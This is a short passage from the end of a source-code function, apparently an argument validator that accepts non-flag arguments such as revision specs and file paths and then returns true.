// Non-flag argument (like revision specs, file paths, etc.) - this is allowed
i++
}
}
return true
}
|